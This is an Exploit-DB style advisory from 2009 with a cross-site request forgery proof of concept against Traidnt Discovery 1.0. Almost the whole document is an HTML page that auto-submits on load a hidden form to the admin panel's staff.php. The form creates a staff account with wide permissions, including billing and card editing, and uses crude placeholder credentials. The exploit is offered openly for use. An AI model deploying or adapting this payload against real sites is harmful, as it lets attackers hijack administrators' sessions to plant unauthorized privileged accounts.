Traidnt Discovery - Cross-Site Request Forgery (Create Staff Account)

EDB-ID:

10447

CVE:

N/A




Platform:

PHP

Date:

2009-12-14


# Exploit Title: Traidnt Discovery - [CSRF] Create Staff Account
# Date: 14-12-2009
# Author: G0D-F4Th3r
# Software Link: http://discovery.traidnt.com/demo/
# Version: 1.0

====================================[form]================================================
<html>
<body onload="javascript:fireForms()">

<form method="POST" name="form0" action="http://www.site.com/[path]/admincp/staff.php?do=addnew&go=add">
<input type="hidden" name="username" value="fuck"/>
<input type="hidden" name="password" value="fuckpass"/>
<input type="hidden" name="email" value="mail@mail.com<mailto:mail@mail.com>"/>
<input type="hidden" name="realname" value="fuck name"/>
<input type="hidden" name="sig" value=""/>
<input type="hidden" name="viewsig" value="0"/>
<input type="hidden" name="receivemsg" value="1"/>
<input type="hidden" name="cat_array[]" value="1"/>
<input type="hidden" name="cat_array[]" value="3"/>
<input type="hidden" name="cat_array[]" value="2"/>
<input type="hidden" name="viewserver" value="1"/>
<input type="hidden" name="viewonline" value="1"/>
<input type="hidden" name="sendmsg" value="1"/>
<input type="hidden" name="accessbill" value="1"/>
<input type="hidden" name="editcard" value="1"/>
<input type="hidden" name="editcomm" value="1"/>
<input type="hidden" name="service" value="1"/>
</form>
</body>
</html>